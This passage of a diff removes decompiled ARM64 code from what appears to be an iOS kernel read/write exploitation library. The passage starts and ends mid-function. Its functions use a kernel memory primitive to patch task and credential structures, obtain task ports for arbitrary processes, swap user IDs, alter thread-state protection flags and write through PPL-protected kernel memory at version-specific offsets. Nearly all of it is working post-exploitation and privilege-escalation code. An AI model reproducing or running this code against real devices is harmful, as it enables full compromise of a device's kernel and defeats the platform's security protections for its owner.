else - { - v27 = 0xDFLL; - } - } - else - { - v27 = 0x97LL; - } - } - else - { - v27 = 0x8FLL; - } - v43 = v27 + v11; - if ( (unsigned int)kreadbuf_last_1(a1, v27 + v11, 1LL, (__int64)&v50 + 4) ) - { - LODWORD(v50) = a5; - if ( HIDWORD(v50) != a5 ) - kwritebuf_last_1(a1, v43, (__int64)&v50, 1LL); - } - return; - } - v20 = *(_DWORD *)(a1 + 0x140); - if ( v20 >= 0x2712 ) - { - v21 = (_DWORD *)a1; - v22 = 0x1180000; -LABEL_26: - v23 = !krw_ctx_has_flag(v21, v22); - v24 = 0xC7LL; - v25 = 0xBFLL; - goto LABEL_32; - } - if ( v20 < 0x2258 ) - { - if ( v20 >= 0x1F53 ) - { - v21 = (_DWORD *)a1; - v22 = 0x180000; - goto LABEL_26; - } - if ( v20 < 0x1C1B ) - { - v24 = 0x10FLL; - if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) - v24 = 0x107LL; -LABEL_34: - v28 = v24 + v11; - if ( (unsigned int)kreadbuf_last_1(a1, v28, 4LL, (__int64)&v50 + 4) ) - { - v29 = *(_QWORD *)(a1 + 0x158); - v30 = v29 > 0x1C1B0A800FFFFFLL; - if ( v29 <= 0x1C1B0A800FFFFFLL ) - v31 = 0xFF000000; - else - v31 = 0xFF00; - if ( v30 ) - v32 = 0x1000000; - else - v32 = 0x10000; - if ( v30 ) - v33 = 0x10000; - else - v33 = 0x100; - v34 = HIDWORD(v50) & v31; - if ( !a4 ) - v32 = 0; - if ( !a3 ) - v33 = 0; - LODWORD(v50) = v32 | v33 | a5 | v34; - if ( HIDWORD(v50) == (_DWORD)v50 || (sub_130B4(a1, v28, (__int64)&v50, 4LL), v35) ) - { - if ( *(int *)(a1 + 0x140) <= 0x1F52 ) - a4 |= a3 ^ 1; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL || sub_2F194(a1, a2, a4, a5) ) - goto LABEL_54; - } - } - return; - } - v23 = !krw_ctx_has_flag((_DWORD *)a1, 0x80000); - v24 = 0x107LL; - v25 = 0xFFLL; - } - else - { - v23 = !krw_ctx_has_flag((_DWORD *)a1, 0x1180000); - v24 = 0xBFLL; - v25 = 0xB7LL; - } -LABEL_32: - if ( v23 ) - v24 = v25; - goto LABEL_34; - } - if ( !(unsigned int)kreadbuf_last_1(a1, v11 + 0x92, 1LL, (__int64)&v48) ) - return; - if ( v48 == a5 ) - goto LABEL_17; - v49 = a5; - if ( !(unsigned int)kwritebuf_last_1(a1, v11 + 0x92, (__int64)&v49, 1LL) ) - return; - if ( !a5 ) - { -LABEL_17: - if ( !kread64((_DWORD *)a1, v11 + 0xB0, v51) ) - return; - if ( !validate_addr(a1, v51[0]) ) - return; - if ( !(unsigned int)kreadbuf_last_1(a1, v51[0] + 0x20, 1LL, (__int64)&v54) ) - return; - v49 = a4; - if ( (unsigned __int8)v54 != a4 && !(unsigned int)ppl_kwritebuf(a1, v51[0] + 0x20, (__int64)&v49, 1) ) - return; -LABEL_54: - if ( dyldVersionNumber >= 851.0 ) - sub_3B49C(a1, a2, a4); - return; - } - if ( !kread64((_DWORD *)a1, v11 + *(int *)(a1 + 0x168), &v47) ) - return; - v46 = v47; - v12 = *(_QWORD *)(a1 + 0x1D30); - if ( v12 ) - { -LABEL_9: - sub_19D10(v12, v51); - v13 = kernel_pattern_scan((__int64)v51, "68 02 08 CB 1F 20 03 D5", 0); - if ( v13 ) - { - v14 = v13; - v15 = sub_1E854(*(__int64 **)(a1 + 0x1D30), (__int64 *)(v13 - 8)); - if ( v15 ) - { - v16 = sub_19B94(*(_QWORD *)(a1 + 0x1D30), v15); - if ( validate_addr(a1, v16) ) - { - v17 = sub_1E854(*(__int64 **)(a1 + 0x1D30), (__int64 *)(v14 + 4)); - if ( v17 ) - { - v18 = sub_19B94(*(_QWORD *)(a1 + 0x1D30), v17); - if ( v18 ) - { - v19 = v16 + (((unsigned __int64)(v46 - v18) >> 0xA) & 0x3FFFFFFFFFFFF0LL) + 9; - if ( (unsigned int)kreadbuf_last_1(a1, v19, 1LL, (__int64)&v52) ) - { - if ( (v52 & 1) != 0 ) - goto LABEL_17; - v52 |= 1u; - if ( (unsigned int)ppl_kwritebuf(a1, v19, (__int64)&v52, 1) ) - goto LABEL_17; - } - } - } - } - } - } - } - else - { - sub_38544(a1, 0LL, 0LL, 0LL); - if ( *(_DWORD *)(a1 + 0x18A0) ) - { - v36 = 0LL; - do - { - v37 = a1 + 0x18 * v36; - v38 = *(_QWORD *)(v37 + 0x1A10); - v39 = *(_QWORD *)(v37 + 0x1A18); - if ( validate_addr(a1, v38) ) - v40 = v39 == 0; - else - v40 = 1; - if ( !v40 ) - { - if ( !(unsigned int)kreadbuf_last_1(a1, v38 + 8, 8LL, (__int64)&v54) ) - return; - if ( v54 == 0x6F74616C75676572LL ) - { - v41 = 0LL; - do - { - v42 = v41 + v38; - if ( !kread32_outptr(a1, v41 + v38, &v53) ) - break; - if ( v53 == 0xFEEDFACF ) - { - if ( v42 ) - { - v44 = calloc(0x128uLL, 1uLL); - if ( v44 ) - { - v12 = (__int64)v44; - sub_19DD4((__int64)v44, a1); - v45 = *(_OWORD *)(a1 + 0x150); - *(_OWORD *)(v12 + 0x70) = *(_OWORD *)(a1 + 0x140); - *(_OWORD *)(v12 + 0x80) = v45; - *(_QWORD *)(v12 + 0x90) = *(_QWORD *)(a1 + 0x160); - *(_DWORD *)(v12 + 0x98) = *(_DWORD *)(a1 + 0x178); - *(_DWORD *)(v12 + 0x38) = *(_DWORD *)(a1 + 0x180); - if ( sub_1A0D4(v12, 0, v42, 0) ) - { - *(_QWORD *)(a1 + 0x1D30) = v12; - goto LABEL_9; - } - } - } - return; - } - v41 += *(unsigned int *)(a1 + 0x180); - } - while ( v41 < v39 ); - } - } - ++v36; - } - while ( v36 < *(unsigned int *)(a1 + 0x18A0) ); - } - } -} -// 3B1C4: variable 'v35' is possibly undefined -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); - -//----- (000000000003B49C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_3B49C(__int64 a1, unsigned int a2, int a3) -{ - unsigned __int64 result; // x0 - mach_vm_address_t v6; // x20 - unsigned int v7; // w9 - int v8; // w10 - int v9; // [xsp+Ch] [xbp-24h] BYREF - - result = sub_34680(a1, a2); - if ( result ) - { - v6 = result; - result = kread32_outptr(a1, result, &v9); - if ( (_DWORD)result ) - { - v7 = v9 & 0xFFFFFF7F; - if ( a3 ) - v8 = 0x80; - else - v8 = 0; - if ( (v7 | v8) == v9 ) - return 1LL; - result = ppl_kwrite32(a1, v6, v7 | v8); - if ( (_DWORD)result ) - return 1LL; - } - } - return result; -} - -//----- (000000000003B524) ---------------------------------------------------- -__int64 __fastcall sub_3B524(__int64 a1, unsigned int a2, bool *a3, _BYTE *a4, bool *a5) -{ - unsigned __int64 v9; // x23 - int v10; // w8 - _DWORD *v11; // x0 - int v12; // w1 - bool v13; // zf - __int64 v14; // x8 - __int64 v15; // x9 - int v16; // w8 - __int64 v17; // x8 - unsigned __int64 v18; // x9 - unsigned int v19; // w8 - bool v20; // zf - char v21; // w8 - char v23; // [xsp+Fh] [xbp-41h] BYREF - __int64 v24; // [xsp+10h] [xbp-40h] BYREF - unsigned int v25; // [xsp+1Ch] [xbp-34h] BYREF - - v25 = 0; - v9 = sub_349C8((_DWORD *)a1, a2); - if ( v9 ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - { - if ( kread64((_DWORD *)a1, v9 + 0xB0, &v24) ) - { - if ( validate_addr(a1, v24) ) - { - v9 = 1LL; - if ( (unsigned int)kreadbuf_last_1(a1, v24 + 0x20, 1LL, (__int64)&v23) ) - { - *a4 = v23 != 0; - *a5 = 0; - *a3 = 1; - return v9; - } - } - } - return 0LL; - } - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - { - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x200) ) - return 0LL; - v16 = *(_DWORD *)(a1 + 0x140); - if ( v16 <= 0x2257 ) - { - if ( v16 <= 0x1F52 ) - { - if ( v16 <= 0x1C1A ) - { - if ( v16 < 0x1809 ) - return 0LL; - v17 = 0xEFLL; - if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) - v17 = 0xE7LL; - } - else - { - v17 = 0xDFLL; - } - } - else - { - v17 = 0x97LL; - } - } - else - { - v17 = 0x8FLL; - } - if ( !(unsigned int)kreadbuf_last_1(a1, v17 + v9, 1LL, (__int64)&v25) ) - return 0LL; - *a5 = (_BYTE)v25 != 0; - *a4 = 0; - *a3 = 0; - return 1LL; - } - v10 = *(_DWORD *)(a1 + 0x140); - if ( v10 >= 0x2712 ) - { - v11 = (_DWORD *)a1; - v12 = 0x1180000; -LABEL_10: - v13 = !krw_ctx_has_flag(v11, v12); - v14 = 0xC7LL; - v15 = 0xBFLL; - goto LABEL_16; - } - if ( v10 < 0x2258 ) - { - if ( v10 >= 0x1F53 ) - { - v11 = (_DWORD *)a1; - v12 = 0x180000; - goto LABEL_10; - } - if ( v10 < 0x1C1B ) - { - v14 = 0x10FLL; - if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) - v14 = 0x107LL; - goto LABEL_18; - } - v13 = !krw_ctx_has_flag((_DWORD *)a1, 0x80000); - v14 = 0x107LL; - v15 = 0xFFLL; - } - else - { - v13 = !krw_ctx_has_flag((_DWORD *)a1, 0x1180000); - v14 = 0xBFLL; - v15 = 0xB7LL; - } -LABEL_16: - if ( v13 ) - v14 = v15; -LABEL_18: - if ( !kread32_outptr(a1, v14 + v9, &v25) ) - return 0LL; - v18 = *(_QWORD *)(a1 + 0x158); - v19 = v25; - *a5 = (unsigned __int8)v25 != 0; - if ( v18 < 0x1C1B0A80100000LL ) - { - *a3 = (v19 & 0xFF00) != 0; - v20 = (v19 & 0xFF0000) == 0; - } - else - { - *a3 = (v19 & 0xFF0000) != 0; - v20 = HIBYTE(v19) == 0; - } - v21 = !v20; - *a4 = v21; - return 1LL; - } - return v9; -} - -//----- (000000000003B7E0) ---------------------------------------------------- -void __fastcall sub_3B7E0(__int64 a1, task_inspect_t task, host_t a3) -{ - unsigned __int64 v6; // x0 - unsigned __int64 v7; // x23 - unsigned __int64 v8; // x21 - int v9; // w24 - unsigned __int64 v10; // x8 - int v11; // w9 - bool v12; // w27 - int v13; // w2 - unsigned int v14; // w0 - unsigned int v15; // w21 - unsigned __int64 v16; // x0 - mach_vm_address_t v17; // x20 - __int64 v18; // x0 - __int64 v19; // x21 - host_security_t v20; // w19 - security_token_t v21; // x2 - int v22; // w0 - int v23; // w0 - int v24; // w0 - mach_port_t special_port; // [xsp+Ch] [xbp-B4h] BYREF - audit_token_t task_info_outCnt; // [xsp+10h] [xbp-B0h] BYREF - mach_msg_type_number_t v27[2]; // [xsp+38h] [xbp-88h] BYREF - audit_token_t v28; // [xsp+40h] [xbp-80h] BYREF - integer_t task_info_out[2]; // [xsp+60h] [xbp-60h] BYREF - int v30; // [xsp+68h] [xbp-58h] BYREF - int v31; // [xsp+6Ch] [xbp-54h] BYREF - - if ( task_get_special_port(task, 2, &special_port) || special_port == a3 ) - return; - if ( (*(_DWORD *)a1 & 0x5584001) != 0 ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) - { - v20 = *(_DWORD *)(a1 + 0x1924); - v27[0] = 2; - if ( !task_info(task, 0xDu, task_info_out, v27) ) - { - v27[0] = 8; - if ( !task_info(task, 0xFu, (task_info_t)&v28, v27) ) - { - v21 = *(security_token_t *)task_info_out; - task_info_outCnt = v28; - host_security_set_task_token(v20, task, v21, &task_info_outCnt, a3); - } - } - } - else - { - if ( mach_task_self_ != task ) - return; - task_info_outCnt.val[0] = 2; - if ( task_info(task, 0xDu, task_info_out, task_info_outCnt.val) ) - return; - task_info_outCnt.val[0] = 8; - if ( task_info(task, 0xFu, (task_info_t)&v28, task_info_outCnt.val) ) - return; - v6 = sub_33FFC(a1, task); - if ( !v6 ) - return; - v7 = v6; - if ( !kread64_internal(a1, v6, &task_info_outCnt) ) - return; - v8 = sub_29CB0((_DWORD *)a1, *(__int64 *)task_info_outCnt.val); - if ( !validate_addr(a1, v8) - || !kread32_outptr(a1, v8 + 0x18, &v31) - || *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL && !kread32_outptr(a1, v8 + 0x20, &v30) ) - { - return; - } - if ( *(_DWORD *)(a1 + 0x1920) == a3 ) - { - v9 = 0; - v10 = *(_QWORD *)(a1 + 0x158); - v11 = v31; - v12 = v10 > 0x1F530F027FFFFFLL && v31 == 0; - if ( v12 ) - v13 = 0x1F5; - else - v13 = 0; - } - else - { - if ( *(_DWORD *)(a1 + 0x1928) != a3 ) - return; - v13 = 0; - v11 = v31; - v10 = *(_QWORD *)(a1 + 0x158); - v12 = v10 > 0x1F530F027FFFFFLL && v31 != 0; - v9 = v31; - } - if ( v11 != v9 || v12 ) - { - if ( v10 <= 0x1F530F027FFFFFLL ) - { - if ( !noppl_kwrite32(a1, v8 + 0x18, v9) ) - return; - } - else if ( v12 && !(unsigned int)ppl_kwrite32(a1, v8 + 0x18, v13) - || !(unsigned int)ppl_kwrite32(a1, v8 + 0x20, v9) ) - { - return; - } - } - if ( (unsigned int)sub_34D14(a1, mach_task_self_) - && (*(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL || !(unsigned int)sub_35FD8(a1, v8)) ) - { - if ( !validate_addr(a1, *(_QWORD *)(a1 + 0x398)) || (sub_35AE0(a1, *(_DWORD *)(a1 + 0x37C), 0LL), v22) ) - { - if ( !seteuid(v9) ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL - || kread64_internal(a1, v7, v27) - && (*(_QWORD *)v27 == *(_QWORD *)task_info_outCnt.val - || (sub_2A63C(a1, v7, *(__int64 *)task_info_outCnt.val), v23)) ) - { - if ( !validate_addr(a1, *(_QWORD *)(a1 + 0x398)) - || (sub_35AE0(a1, *(_DWORD *)(a1 + 0x37C), *(_QWORD *)(a1 + 0x3A8)), v24) ) - { - if ( v31 != v9 || v12 ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - { - if ( !noppl_kwrite32(a1, v8 + 0x18, v31) ) - return; - } - else if ( v12 && !(unsigned int)ppl_kwrite32(a1, v8 + 0x18, v31) - || !(unsigned int)ppl_kwrite32(a1, v8 + 0x20, v30) ) - { - return; - } - } - if ( (unsigned int)sub_39CC0(a1, task, 1, (__int64)task_info_out, 8LL) ) - sub_39CC0(a1, task, 3, (__int64)&v28, 0x20LL); - } - } - } - } - } - } - } - else - { - v14 = sub_32E84(a1); - if ( v14 ) - { - v15 = v14; - v16 = port_name_to_kaddr(a1, task); - if ( v16 ) - { - v17 = v16 + v15; - if ( kread64((_DWORD *)a1, v17, (__int64 *)&v28) ) - { - if ( validate_addr(a1, *(__int64 *)v28.val) ) - { - if ( a3 + 1 < 2 ) - { - if ( a3 == 0xFFFFFFFF ) - v19 = 0xFFFFFFFFFFFFFFFFLL; - else - v19 = 0LL; - } - else - { - v18 = sub_32D6C(a1, a3); - if ( !v18 ) - return; - v19 = v18; - if ( (unsigned int)sub_35E8C(a1, v18) ) - return; - } - kwrite64(a1, v17, v19); - } - } - } - } - } -} -// 3BB7C: variable 'v22' is possibly undefined -// 3BBC8: variable 'v23' is possibly undefined -// 3BBEC: variable 'v24' is possibly undefined - -//----- (000000000003BC88) ---------------------------------------------------- -bool __fastcall krw_task_for_pid(__int64 a1, int a2, mach_port_name_t *a3) -{ - return krw_task_for_pid_or_name(a1, a2, 0LL, a3); -} - -//----- (000000000003BC94) ---------------------------------------------------- -bool __fastcall krw_task_for_pid_or_name(__int64 a1, int a2, const char *a3, mach_port_name_t *a4) -{ - mach_port_t v8; // w20 - kern_return_t v9; // w0 - __int64 v10; // x8 - unsigned int v11; // w1 - unsigned __int64 v12; // x0 - __int64 v13; // x0 - int v14; // w9 - unsigned __int64 v15; // x10 - __int64 v16; // x11 - __int64 v17; // x10 - unsigned __int64 v19; // [xsp+8h] [xbp-28h] BYREF - - if ( a2 < 1 || getpid() != a2 ) - { - v11 = *(_DWORD *)(a1 + 0x191C); - if ( !v11 ) - v11 = *(_DWORD *)(a1 + 0x1918); - v12 = port_name_to_kaddr(a1, v11); - if ( !v12 ) - return 0LL; - if ( a3 ) - { - v13 = krw_task_for_name(a1, v12, a3); - if ( !v13 ) - return 0LL; - } - else - { - v13 = krw_task_for_pid_0(a1, v12, a2); - if ( !v13 ) - return 0LL; - } - v10 = 0LL; - v14 = *(_DWORD *)(a1 + 0x140); - if ( v14 > 0x2257 ) - { - v17 = 0xC8LL; - if ( v14 != 0x2258 && v14 != 0x225C && v14 != 0x2712 ) - return v10; - } - else - { - if ( (unsigned int)(v14 - 0x1F53) < 2 ) - { - v15 = 0x1F530F027FFFFFLL; - v16 = 0xD0LL; - } - else - { - v15 = 0x1C1B19145FFFFFLL; - v16 = 0xF0LL; - if ( v14 != 0x1809 && v14 != 0x1C1B ) - return v10; - } - if ( *(_QWORD *)(a1 + 0x158) <= v15 ) - v17 = 0xF8LL; - else - v17 = v16; - } - if ( kread64((_DWORD *)a1, v17 + v13, (__int64 *)&v19) && validate_addr(a1, v19) ) - return (unsigned int)sub_36480(a1, v19, a4) == 0; - return 0LL; - } - v8 = mach_task_self_; - v9 = mach_port_mod_refs(mach_task_self_, mach_task_self_, 0, 1); - v10 = 0LL; - if ( !v9 ) - { - *a4 = v8; - return 1LL; - } - return v10; -} - -//----- (000000000003BE3C) ---------------------------------------------------- -bool __fastcall sub_3BE3C( - __int64 a1, - int a2, - thread_act_t a3, - thread_state_flavor_t a4, - natural_t *a5, - mach_msg_type_number_t a6) -{ - bool v11; // zf - int v12; // w20 - int v14; // w8 - bool v15; // cc - int v16; // w8 - unsigned int v17; // w28 - int v18; // w9 - unsigned int v19; // w26 - int v20; // w27 - unsigned int v21; // w24 - mach_port_t v22; // w0 - unsigned __int64 v23; // x0 - unsigned __int64 v24; // x25 - int v25; // w25 - unsigned __int64 v26; // x0 - unsigned __int64 v27; // x26 - __int64 v28; // x28 - __int64 v29; // x26 - int v30; // w24 - unsigned int v31; // [xsp+4h] [xbp-6Ch] - __int64 v32; // [xsp+8h] [xbp-68h] BYREF - __int64 v33; // [xsp+10h] [xbp-60h] BYREF - int v34; // [xsp+1Ch] [xbp-54h] BYREF - - if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B0002E00000uLL - || ((*(_DWORD *)a1 & 0x5584001) != 0 ? (v11 = mach_task_self_ == a2) : (v11 = 1), v11) ) - { - v12 = sub_3C25C((_DWORD *)a1, a3, a4, a5, a6); - return v12 == 0; - } - v34 = 0; - v14 = *(_DWORD *)(a1 + 0x140); - if ( v14 > 0x2257 ) - { - if ( v14 != 0x2258 && v14 != 0x225C && v14 != 0x2712 ) - return 0LL; - } - else if ( (unsigned int)(v14 - 0x1F53) >= 2 ) - { - if ( v14 != 0x1C1B ) - return 0LL; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x80000) ) - { - v15 = *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL; - v16 = 0x518; - } - else - { - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x4000) ) - { - if ( !krw_ctx_has_flag((_DWORD *)a1, 1) ) - { - v17 = 0; -LABEL_42: - v21 = v17 - 9; - v20 = 1; - v19 = 1; - goto LABEL_43; - } - v15 = *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL; - v16 = 0x508; - v18 = 0x160; -LABEL_26: - if ( v15 ) - v17 = v18; - else - v17 = v16; - goto LABEL_42; - } - v15 = *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL; - v16 = 0x510; - } - v18 = 0x168; - goto LABEL_26; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) - { - v17 = 0x1C0; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x1100000) ) - { - v17 = 0x170; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x84000) ) - { - v17 = 0x168; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) - { - v17 = 0x160; - } - else - { - v17 = 0; - } - if ( *(int *)(a1 + 0x140) < 0x2258 ) - goto LABEL_42; - v17 -= 8; - if ( krw_ctx_has_flag((_DWORD *)a1, 1) ) - { - v19 = 4; - v20 = 2; - v21 = 0xE4; - } - else - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) - v21 = 0x13C; - else - v21 = 0xEC; - v19 = 4; - v20 = 2; - } -LABEL_43: - if ( !v17 ) - return 0LL; - v22 = mach_thread_self(); - v23 = port_name_to_kaddr(a1, v22); - if ( !v23 ) - return 0LL; - v24 = v23; - v31 = v19; - v33 = 0LL; - if ( !(unsigned int)kreadbuf_last_1(a1, v23 + v17, 8LL, (__int64)&v33) ) - return 0LL; - if ( !(unsigned int)kreadbuf_last_1(a1, v24 + v21, v19, (__int64)&v34) ) - return 0LL; - v25 = v34; - v26 = port_name_to_kaddr(a1, a3); - if ( !v26 ) - return 0LL; - v27 = v26; - v32 = 0LL; - v28 = v26 + v17; - if ( !(unsigned int)kreadbuf_last_1(a1, v28, 8LL, (__int64)&v32) ) - return 0LL; - v29 = v27 + v21; - if ( !(unsigned int)kreadbuf_last_1(a1, v29, v31, (__int64)&v34) ) - return 0LL; - v30 = v34; - if ( v33 != v32 && !(unsigned int)kwritebuf_last_1(a1, v28, (__int64)&v33, 8LL) ) - return 0LL; - if ( (v25 & v20) == 0 || (v30 & v20) != 0 ) - { - v12 = sub_3C25C((_DWORD *)a1, a3, a4, a5, a6); - } - else - { - v34 = v34 & ~v20 | v25 & v20; - if ( !(unsigned int)kwritebuf_last_1(a1, v29, (__int64)&v34, v31) ) - return 0LL; - v12 = sub_3C25C((_DWORD *)a1, a3, a4, a5, a6); - v34 &= ~v20; - if ( !(unsigned int)kwritebuf_last_1(a1, v29, (__int64)&v34, v31) ) - return 0LL; - } - if ( v33 == v32 || (unsigned int)kwritebuf_last_1(a1, v28, (__int64)&v32, 8LL) ) - return v12 == 0; - return 0LL; -} - -//----- (000000000003C25C) ---------------------------------------------------- -__int64 __fastcall sub_3C25C( - _DWORD *a1, - thread_act_t target_act, - thread_state_flavor_t flavor, - thread_state_t new_state, - mach_msg_type_number_t new_stateCnt) -{ - int v10; // w25 - __int64 v11; // x24 - __int64 v12; // x24 - __int64 v13; // x20 - unsigned __int64 v14; // x0 - __int16 v16; // [xsp+Ch] [xbp-44h] BYREF - __int16 v17; // [xsp+Eh] [xbp-42h] BYREF - - v17 = 0; - v10 = a1[0x50]; - if ( v10 < 0x225C ) - { - v12 = 0LL; - } - else - { - if ( krw_ctx_has_flag(a1, 0x4000000) ) - { - v11 = 0xC0LL; - } - else if ( krw_ctx_has_flag(a1, 0x5584201) ) - { - v11 = 0x70LL; - } - else - { - v11 = 0xB8LL; - } - v14 = port_name_to_kaddr((__int64)a1, target_act); - if ( !v14 ) - return 5LL; - v12 = v14 + v11; - if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v12, 2LL, (__int64)&v17) ) - return 5LL; - if ( (v17 & 0x80000000) == 0 ) - { - v16 = v17 | 0x8000; - if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v12, (__int64)&v16, 2LL) ) - return 5LL; - } - } - v13 = thread_set_state(target_act, flavor, new_state, new_stateCnt); - if ( v10 >= 0x225C && (v17 & 0x80000000) == 0 ) - kwritebuf_last_1((__int64)a1, v12, (__int64)&v17, 2LL); - return v13; -} - -//----- (000000000003C398) ---------------------------------------------------- -unsigned __int64 __fastcall sub_3C398(_DWORD *a1) -{ - unsigned __int64 result; // x0 - int v3; // w8 - bool v4; // zf - int v5; // w9 - - result = 0LL; - v3 = a1[0x50]; - if ( v3 > 0x2257 ) - { - v4 = v3 == 0x2258 || v3 == 0x2712; - v5 = 0x225C; - } - else - { - v4 = (unsigned int)(v3 - 0x1F53) < 2 || v3 == 0x1809; - v5 = 0x1C1B; - } - if ( v4 || v3 == v5 ) - { - if ( krw_ctx_has_flag(a1, 0x20) ) - { - return 0xFFFFFFF027004000LL; - } - else if ( krw_ctx_has_flag(a1, 8) ) - { - return 0xFFFFFE0007004000LL; - } - else - { - return 0xFFFFFFF007004000LL; - } - } - return result; -} - -//----- (000000000003C450) ---------------------------------------------------- -__int64 __fastcall sub_3C450(__int64 a1, unsigned int a2, int a3, _BYTE *a4) -{ - __int64 v8; // x19 - unsigned __int64 v9; // x0 - unsigned __int64 v10; // x24 - unsigned __int64 v11; // x25 - int v12; // w8 - int v15; // w28 - unsigned int v16; // w0 - __int64 v17; // x25 - mach_vm_address_t v18; // x26 - unsigned int v19; // w25 - _BOOL4 has_flag; // w0 - int v21; // w9 - int v22; // w10 - __int128 v23; // q0 - int v24; // w0 - __int64 v25; // x24 - mach_vm_address_t v26; // x24 - __int128 v27; // q0 - int v28; // w0 - unsigned int v30; // [xsp+4h] [xbp-28Ch] - __int64 v31; // [xsp+8h] [xbp-288h] BYREF - int v32; // [xsp+10h] [xbp-280h] BYREF - int v33; // [xsp+14h] [xbp-27Ch] BYREF - unsigned __int64 v34; // [xsp+18h] [xbp-278h] BYREF - __int128 v35; // [xsp+20h] [xbp-270h] BYREF - __int128 v36; // [xsp+30h] [xbp-260h] - __int128 v37; // [xsp+40h] [xbp-250h] - __int128 v38; // [xsp+50h] [xbp-240h] - __int128 v39; // [xsp+60h] [xbp-230h] - __int128 v40; // [xsp+70h] [xbp-220h] - __int128 v41; // [xsp+80h] [xbp-210h] - __int128 v42; // [xsp+90h] [xbp-200h] - __int128 v43; // [xsp+A0h] [xbp-1F0h] - __int128 v44; // [xsp+B0h] [xbp-1E0h] - __int128 v45; // [xsp+C0h] [xbp-1D0h] - __int128 v46; // [xsp+D0h] [xbp-1C0h] - __int128 v47; // [xsp+E0h] [xbp-1B0h] - __int128 v48; // [xsp+F0h] [xbp-1A0h] - __int128 v49; // [xsp+100h] [xbp-190h] - __int128 v50; // [xsp+110h] [xbp-180h] - __int128 v51; // [xsp+120h] [xbp-170h] - __int128 v52; // [xsp+130h] [xbp-160h] - __int128 v53; // [xsp+140h] [xbp-150h] - __int128 v54; // [xsp+150h] [xbp-140h] - __int128 v55; // [xsp+160h] [xbp-130h] - __int128 v56; // [xsp+170h] [xbp-120h] - __int128 v57; // [xsp+180h] [xbp-110h] - __int128 v58; // [xsp+190h] [xbp-100h] - __int128 v59; // [xsp+1A0h] [xbp-F0h] - __int128 v60; // [xsp+1B0h] [xbp-E0h] - __int128 v61; // [xsp+1C0h] [xbp-D0h] - __int128 v62; // [xsp+1D0h] [xbp-C0h] - __int128 v63; // [xsp+1E0h] [xbp-B0h] - __int128 v64; // [xsp+1F0h] [xbp-A0h] - __int128 v65; // [xsp+200h] [xbp-90h] - __int128 v66; // [xsp+210h] [xbp-80h] - - v8 = 0x2800FLL; - v34 = 0LL; - v9 = port_name_to_kaddr(a1, a2); - v31 = 0LL; - if ( !v9 ) - return 0x2800ELL; - v10 = v9; - v11 = *(_QWORD *)(a1 + 0x158); - v12 = *(_DWORD *)(a1 + 0x140); - if ( v11 <= 0x1F530F027FFFFFLL ) - { - if ( v12 == 0x1F53 ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x100000) ) - { - v19 = 0x3F8; - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) - { - v19 = 0x3E8; - } - else - { - v19 = 0x3D0; - } - } - else - { - if ( v12 != 0x1C1B ) - return 0x28007LL; - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5584001); - if ( has_flag ) - v21 = 0x3D0; - else - v21 = 0x3C0; - if ( has_flag ) - v22 = 0x3E0; - else - v22 = 0x3C8; - if ( v11 >= 0x1C1B1914600000LL ) - v19 = v22; - else - v19 = v21; - } - v18 = v10 + v19; - if ( !(unsigned int)kread64(a1, v18, &v34) ) - return v8; - v30 = 0; - } - else - { - if ( v12 == 0x2258 || v12 == 0x2712 || v12 == 0x225C ) - v15 = 0x48; - else - v15 = 0; - v16 = sub_33098(a1); - if ( !(unsigned int)kread64(a1, v10 + v16, &v31) ) - return v8; - if ( !validate_addr(a1, v31) ) - return 0x28026LL; - v17 = v31; - v18 = v17 + (unsigned int)sub_33238(a1); - if ( !(unsigned int)kread64(a1, v18, &v34) ) - return v8; - v30 = v15; - v19 = 0; - } - if ( !v34 ) - goto LABEL_58; - if ( !validate_addr_maybe2(a1, v34) ) - return 0x28026LL; - if ( v30 ) - { - *(_QWORD *)&v23 = 0xFFFFFFFFFFFFFFFFLL; - *((_QWORD *)&v23 + 1) = 0xFFFFFFFFFFFFFFFFLL; - v65 = v23; - v66 = v23; - v63 = v23; - v64 = v23; - v61 = v23; - v62 = v23; - v59 = v23; - v60 = v23; - v57 = v23; - v58 = v23; - v55 = v23; - v56 = v23; - v53 = v23; - v54 = v23; - v51 = v23; - v52 = v23; - v49 = v23; - v50 = v23; - v47 = v23; - v48 = v23; - v45 = v23; - v46 = v23; - v43 = v23; - v44 = v23; - v42 = v23; - v40 = v23; - v41 = v23; - v38 = v23; - v39 = v23; - v36 = v23; - v37 = v23; - v35 = v23; - if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, v34, (__int64)&v35, v30) ) - return 0x28010LL; - goto LABEL_58; - } - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF - || 